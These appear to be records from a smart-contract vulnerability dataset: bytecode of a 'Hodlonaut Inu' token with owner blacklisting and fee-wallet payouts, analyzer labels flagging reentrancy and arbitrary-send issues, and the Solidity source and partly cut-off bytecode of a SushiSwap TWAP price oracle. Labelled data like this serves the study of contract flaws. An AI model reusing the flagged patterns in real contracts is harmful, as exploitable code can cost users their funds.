0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf91461034b578063cba0e99614610360578063d00efb2f14610399578063d543dbeb146103af578063dd62ed3e146103cf578063e47d60601461041557600080fd5b80638da5cb5b146102a057806395d89b41146102c8578063a9059cbb146102f6578063b515566a14610316578063c3c8cd801461033657600080fd5b8063313ce567116100f2578063313ce5671461021a5780635932ead1146102365780636fc3eaec1461025657806370a082311461026b578063715018a61461028b57600080fd5b806306fdde031461013a578063095ea7b31461018257806318160ddd146101b257806323b872dd146101d8578063273123b7146101f857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600d81526c486f646c6f6e61757420496e7560981b60208201525b6040516101799190611bdf565b60405180910390f35b34801561018e57600080fd5b506101a261019d366004611a70565b61044e565b6040519015158152602001610179565b3480156101be57600080fd5b50683635c9adc5dea000005b604051908152602001610179565b3480156101e457600080fd5b506101a26101f3366004611a30565b610465565b34801561020457600080fd5b506102186102133660046119c0565b6104ce565b005b34801561022657600080fd5b5060405160098152602001610179565b34801561024257600080fd5b50610218610251366004611b62565b610522565b34801561026257600080fd5b5061021861056a565b34801561027757600080fd5b506101ca6102863660046119c0565b610597565b34801561029757600080fd5b506102186105b9565b3480156102ac57600080fd5b506000546040516001600160a01b039091168152602001610179565b3480156102d457600080fd5b50604080518082019091526005815264484f444c4f60d81b602082015261016c565b34801561030257600080fd5b506101a2610311366004611a70565b61062d565b34801561032257600080fd5b50610218610331366004611a9b565b61063a565b34801561034257600080fd5b506102186106de565b34801561035757600080fd5b50610218610714565b34801561036c57600080fd5b506101a261037b3660046119c0565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a557600080fd5b506101ca60125481565b3480156103bb57600080fd5b506102186103ca366004611b9a565b610adb565b3480156103db57600080fd5b506101ca6103ea3660046119f8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042157600080fd5b506101a26104303660046119c0565b6001600160a01b03166000908152600a602052604090205460ff1690565b600061045b338484610bae565b5060015b92915050565b6000610472848484610cd2565b6104c484336104bf85604051806060016040528060288152602001611db0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d1565b610bae565b5060019392505050565b6000546001600160a01b031633146105015760405162461bcd60e51b81526004016104f890611c32565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b0316331461054c5760405162461bcd60e51b81526004016104f890611c32565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461058a57600080fd5b476105948161120b565b50565b6001600160a01b03811660009081526002602052604081205461045f906112e2565b6000546001600160a01b031633146105e35760405162461bcd60e51b81526004016104f890611c32565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045b338484610cd2565b6000546001600160a01b031633146106645760405162461bcd60e51b81526004016104f890611c32565b60005b81518110156106da576001600a600084848151811061069657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d281611d45565b915050610667565b5050565b600c546001600160a01b0316336001600160a01b0316146106fe57600080fd5b600061070930610597565b905061059481611366565b6000546001600160a01b0316331461073e5760405162461bcd60e51b81526004016104f890611c32565b601054600160a01b900460ff16156107985760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f8565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107d53082683635c9adc5dea00000610bae565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080e57600080fd5b505afa158015610822573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084691906119dc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088e57600080fd5b505afa1580156108a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c691906119dc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090e57600080fd5b505af1158015610922573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094691906119dc565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061097681610597565b60008061098b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109ee57600080fd5b505af1158015610a02573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a279190611bb2565b505060108054674563918244f400006011554360125563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aa357600080fd5b505af1158015610ab7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106da9190611b7e565b6000546001600160a01b03163314610b055760405162461bcd60e51b81526004016104f890611c32565b60008111610b555760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104f8565b610b736064610b6d683635c9adc5dea000008461150b565b9061158a565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610c105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f8565b6001600160a01b038216610c715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d365760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f8565b6001600160a01b038216610d985760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f8565b60008111610dfa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f8565b6000546001600160a01b03848116911614801590610e2657506000546001600160a01b03838116911614155b1561117457601054600160b81b900460ff1615610f0d576001600160a01b0383163014801590610e5f57506001600160a01b0382163014155b8015610e795750600f546001600160a01b03848116911614155b8015610e935750600f546001600160a01b03838116911614155b15610f0d57600f546001600160a01b0316336001600160a01b03161480610ecd57506010546001600160a01b0316336001600160a01b0316145b610f0d5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016104f8565b601154811115610f1c57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610f5e57506001600160a01b0382166000908152600a602052604090205460ff16155b8015610f7a5750336000908152600a602052604090205460ff16155b610f8357600080fd5b6010546001600160a01b038481169116148015610fae5750600f546001600160a01b03838116911614155b8015610fd357506001600160a01b03821660009081526005602052604090205460ff16155b8015610fe85750601054600160b81b900460ff165b15611036576001600160a01b0382166000908152600b6020526040902054421161101157600080fd5b61101c426014611cd7565b6001600160a01b0383166000908152600b60205260409020555b601254611044906002611cd7565b4311158015611054575060115481145b15611107576010546001600160a01b038481169116148015906110855750600f546001600160a01b03848116911614155b156110b2576001600160a01b0383166000908152600a60205260409020805460ff19166001179055611107565b6010546001600160a01b038381169116148015906110de5750600f546001600160a01b03838116911614155b15611107576001600160a01b0382166000908152600a60205260409020805460ff191660011790555b600061111230610597565b601054909150600160a81b900460ff1615801561113d57506010546001600160a01b03858116911614155b80156111525750601054600160b01b900460ff165b156111725761116081611366565b478015611170576111704761120b565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111b657506001600160a01b03831660009081526005602052604090205460ff165b156111bf575060005b6111cb848484846115cc565b50505050565b600081848411156111f55760405162461bcd60e51b81526004016104f89190611bdf565b5060006112028486611d2e565b95945050505050565b600c546001600160a01b03166108fc61122a600a610b6d85600461150b565b6040518115909202916000818181858888f19350505050158015611252573d6000803e3d6000fd5b50600d546001600160a01b03166108fc611272600a610b6d85600461150b565b6040518115909202916000818181858888f1935050505015801561129a573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6112ba600a610b6d85600261150b565b6040518115909202916000818181858888f193505050501580156106da573d6000803e3d6000fd5b60006006548211156113495760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f8565b60006113536115f8565b905061135f838261158a565b9392505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113bc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141057600080fd5b505afa158015611424573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144891906119dc565b8160018151811061146957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f5461148f9130911684610bae565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c8908590600090869030904290600401611c67565b600060405180830381600087803b1580156114e257600080fd5b505af11580156114f6573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60008261151a5750600061045f565b60006115268385611d0f565b9050826115338583611cef565b1461135f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f8565b600061135f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061161b565b806115d9576115d9611649565b6115e484848461166c565b806111cb576111cb6002600855600a600955565b6000806000611605611763565b9092509050611614828261158a565b9250505090565b6000818361163c5760405162461bcd60e51b81526004016104f89190611bdf565b5060006112028486611cef565b6008541580156116595750600954155b1561166057565b60006008819055600955565b60008060008060008061167e876117a5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116b09087611802565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116df9086611844565b6001600160a01b038916600090815260026020526040902055611701816118a3565b61170b84836118ed565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175091815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061177f828261158a565b82101561179c57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117c28a600854600954611911565b92509250925060006117d26115f8565b905060008060006117e58e878787611960565b919e509c509a509598509396509194505050505091939550919395565b600061135f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d1565b6000806118518385611cd7565b90508381101561135f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f8565b60006118ad6115f8565b905060006118bb838361150b565b306000908152600260205260409020549091506118d89082611844565b30600090815260026020526040902055505050565b6006546118fa9083611802565b60065560075461190a9082611844565b6007555050565b60008080806119256064610b6d898961150b565b905060006119386064610b6d8a8961150b565b905060006119508261194a8b86611802565b90611802565b9992985090965090945050505050565b600080808061196f888661150b565b9050600061197d888761150b565b9050600061198b888861150b565b9050600061199d8261194a8686611802565b939b939a50919850919650505050505050565b80356119bb81611d8c565b919050565b6000602082840312156119d1578081fd5b813561135f81611d8c565b6000602082840312156119ed578081fd5b815161135f81611d8c565b60008060408385031215611a0a578081fd5b8235611a1581611d8c565b91506020830135611a2581611d8c565b809150509250929050565b600080600060608486031215611a44578081fd5b8335611a4f81611d8c565b92506020840135611a5f81611d8c565b929592945050506040919091013590565b60008060408385031215611a82578182fd5b8235611a8d81611d8c565b946020939093013593505050565b60006020808385031215611aad578182fd5b823567ffffffffffffffff80821115611ac4578384fd5b818501915085601f830112611ad7578384fd5b813581811115611ae957611ae9611d76565b8060051b604051601f19603f83011681018181108582111715611b0e57611b0e611d76565b604052828152858101935084860182860187018a1015611b2c578788fd5b8795505b83861015611b5557611b41816119b0565b855260019590950194938601938601611b30565b5098975050505050505050565b600060208284031215611b73578081fd5b813561135f81611da1565b600060208284031215611b8f578081fd5b815161135f81611da1565b600060208284031215611bab578081fd5b5035919050565b600080600060608486031215611bc6578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c0b57858101830151858201604001528201611bef565b81811115611c1c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cb65784516001600160a01b031683529383019391830191600101611c91565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cea57611cea611d60565b500190565b600082611d0a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2957611d29611d60565b500290565b600082821015611d4057611d40611d60565b500390565b6000600019821415611d5957611d59611d60565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461059457600080fd5b801515811461059457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dc4ab43c9b77004655623705b912e52eca25254109b6c1bcd26e4d81df84f76864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,289 |
0x66F03B0d30838A3fee971928627ea6F59B236065
|
/**
*Submitted for verification at Etherscan.io on 2021-03-23
*/
// SPDX-License-Identifier: MIXED
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// solhint-disable not-rely-on-time
// File contracts/interfaces/IOracle.sol
// License-Identifier: MIT
interface IOracle {
/// @notice Get the latest exchange rate.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function get(bytes calldata data) external returns (bool success, uint256 rate);
/// @notice Check the last exchange rate without any state changes.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function peek(bytes calldata data) external view returns (bool success, uint256 rate);
/// @notice Check the current spot exchange rate without any state changes. For oracles like TWAP this will be different from peek().
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return rate The rate of the requested asset / pair / pool.
function peekSpot(bytes calldata data) external view returns (uint256 rate);
/// @notice Returns a human readable (short) name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable symbol name about this oracle.
function symbol(bytes calldata data) external view returns (string memory);
/// @notice Returns a human readable name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable name about this oracle.
function name(bytes calldata data) external view returns (string memory);
}
// File @boringcrypto/boring-solidity/contracts/libraries/[email protected]
// License-Identifier: MIT
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.
library BoringMath64 {
function add(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.
library BoringMath32 {
function add(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
// File @sushiswap/core/contracts/uniswapv2/interfaces/[email protected]
// License-Identifier: GPL-3.0
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
// File @sushiswap/core/contracts/uniswapv2/interfaces/[email protected]
// License-Identifier: GPL-3.0
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File contracts/libraries/FullMath.sol
// License-Identifier: CC-BY-4.0
// taken from https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1
// license is CC-BY-4.0
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, "FullMath::mulDiv: overflow");
return fullDiv(l, h, d);
}
}
// File contracts/libraries/FixedPoint.sol
// License-Identifier: GPL-3.0-or-later
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// multiply a UQ112x112 by a uint256, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z = 0;
require(y == 0 || (z = self._x * y) / y == self._x, "FixedPoint::mul: overflow");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// lossy if either numerator or denominator is greater than 112 bits
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint::fraction: div by 0");
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), "FixedPoint::fraction: overflow");
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), "FixedPoint::fraction: overflow");
return uq112x112(uint224(result));
}
}
}
// File contracts/oracles/SimpleSLPTWAP0Oracle.sol
// License-Identifier: AGPL-3.0-only
// Using the same Copyleft License as in the original Repository
// adapted from https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/examples/ExampleSlidingWindowOracle.sol
contract SimpleSLPTWAP0OracleV1 is IOracle {
using FixedPoint for *;
using BoringMath for uint256;
uint256 public constant PERIOD = 5 minutes;
struct PairInfo {
uint256 priceCumulativeLast;
uint32 blockTimestampLast;
uint144 priceAverage;
}
mapping(IUniswapV2Pair => PairInfo) public pairs; // Map of pairs and their info
mapping(address => IUniswapV2Pair) public callerInfo; // Map of callers to pairs
function _get(IUniswapV2Pair pair, uint32 blockTimestamp) public view returns (uint256) {
uint256 priceCumulative = pair.price0CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
priceCumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * (blockTimestamp - blockTimestampLast); // overflows ok
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
return priceCumulative;
}
function getDataParameter(IUniswapV2Pair pair) public pure returns (bytes memory) {
return abi.encode(pair);
}
// Get the latest exchange rate, if no valid (recent) rate is available, return false
/// @inheritdoc IOracle
function get(bytes calldata data) external override returns (bool, uint256) {
IUniswapV2Pair pair = abi.decode(data, (IUniswapV2Pair));
uint32 blockTimestamp = uint32(block.timestamp);
if (pairs[pair].blockTimestampLast == 0) {
pairs[pair].blockTimestampLast = blockTimestamp;
pairs[pair].priceCumulativeLast = _get(pair, blockTimestamp);
return (false, 0);
}
uint32 timeElapsed = blockTimestamp - pairs[pair].blockTimestampLast; // overflow is desired
if (timeElapsed < PERIOD) {
return (true, pairs[pair].priceAverage);
}
uint256 priceCumulative = _get(pair, blockTimestamp);
pairs[pair].priceAverage = FixedPoint
.uq112x112(uint224((priceCumulative - pairs[pair].priceCumulativeLast) / timeElapsed))
.mul(1e18)
.decode144();
pairs[pair].blockTimestampLast = blockTimestamp;
pairs[pair].priceCumulativeLast = priceCumulative;
return (true, pairs[pair].priceAverage);
}
// Check the last exchange rate without any state changes
/// @inheritdoc IOracle
function peek(bytes calldata data) public view override returns (bool, uint256) {
IUniswapV2Pair pair = abi.decode(data, (IUniswapV2Pair));
uint32 blockTimestamp = uint32(block.timestamp);
if (pairs[pair].blockTimestampLast == 0) {
return (false, 0);
}
uint32 timeElapsed = blockTimestamp - pairs[pair].blockTimestampLast; // overflow is desired
if (timeElapsed < PERIOD) {
return (true, pairs[pair].priceAverage);
}
uint256 priceCumulative = _get(pair, blockTimestamp);
uint144 priceAverage =
FixedPoint.uq112x112(uint224((priceCumulative - pairs[pair].priceCumulativeLast) / timeElapsed)).mul(1e18).decode144();
return (true, priceAverage);
}
// Check the current spot exchange rate without any state changes
/// @inheritdoc IOracle
function peekSpot(bytes calldata data) external view override returns (uint256 rate) {
IUniswapV2Pair pair = abi.decode(data, (IUniswapV2Pair));
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
rate = reserve1.mul(1e18) / reserve0;
}
/// @inheritdoc IOracle
function name(bytes calldata) public view override returns (string memory) {
return "SushiSwap TWAP";
}
/// @inheritdoc IOracle
function symbol(bytes calldata) public view override returns (string memory) {
return "TWAP";
}
}
|
0x608060405234801561001057600080fd5b50600436106100be5760003560e01c8063d39bbef011610076578063d6d7d5251161005b578063d6d7d5251461016d578063eeb8a8d31461018e578063fe33b302146101a1576100be565b8063d39bbef014610147578063d568866c1461015a576100be565b80637046db52116100a75780637046db521461010c578063b4d1d7951461012c578063c699c4d614610134576100be565b80634709904d146100c357806354fd9238146100ec575b600080fd5b6100d66100d1366004610d3b565b6101c3565b6040516100e39190610ef3565b60405180910390f35b6100ff6100fa366004610dcb565b6101eb565b6040516100e39190611027565b61011f61011a366004610d3b565b61035a565b6040516100e39190610ee0565b6100ff610383565b61011f610142366004610d5e565b610389565b6100ff610155366004610d5e565b6103c2565b61011f610168366004610d5e565b610491565b61018061017b366004610d5e565b6104ca565b6040516100e3929190610ed0565b61018061019c366004610d5e565b61079a565b6101b46101af366004610d3b565b610924565b6040516100e393929190611030565b60016020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b6000808373ffffffffffffffffffffffffffffffffffffffff16635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b15801561023457600080fd5b505afa158015610248573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061026c9190610e4f565b905060008060008673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156102b957600080fd5b505afa1580156102cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102f19190610e03565b92509250925080860363ffffffff1661032a836dffffffffffffffffffffffffffff16856dffffffffffffffffffffffffffff16610961565b517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16029390930193505050505b92915050565b60608160405160200161036d9190610ef3565b6040516020818303038152906040529050919050565b61012c81565b505060408051808201909152600481527f5457415000000000000000000000000000000000000000000000000000000000602082015290565b6000806103d183850185610d3b565b90506000808273ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561041c57600080fd5b505afa158015610430573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104549190610e03565b506dffffffffffffffffffffffffffff91821693501690508161047f82670de0b6b3a7640000610af0565b8161048657fe5b049695505050505050565b505060408051808201909152600e81527f5375736869537761702054574150000000000000000000000000000000000000602082015290565b600080806104da84860186610d3b565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260208190526040902060010154909150429063ffffffff166105a75773ffffffffffffffffffffffffffffffffffffffff8216600090815260208190526040902060010180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001663ffffffff831617905561057282826101eb565b73ffffffffffffffffffffffffffffffffffffffff909216600090815260208190526040812092909255509150819050610793565b73ffffffffffffffffffffffffffffffffffffffff821660009081526020819052604090206001015463ffffffff90811682039061012c908216101561063957505073ffffffffffffffffffffffffffffffffffffffff166000908152602081905260409020600190810154909250640100000000900471ffffffffffffffffffffffffffffffffffff169050610793565b600061064584846101eb565b90506106df6106da670de0b6b3a764000060405180602001604052808663ffffffff166000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548703816106b357fe5b047bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16905290610b41565b610bcf565b73ffffffffffffffffffffffffffffffffffffffff90941660009081526020819052604090206001808201805463ffffffff9096167fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000071ffffffffffffffffffffffffffffffffffff9889166401000000009081027fffffffffffffffffffff000000000000000000000000000000000000ffffffff90991698909817161790819055929091559550919091049091169150505b9250929050565b600080806107aa84860186610d3b565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260208190526040902060010154909150429063ffff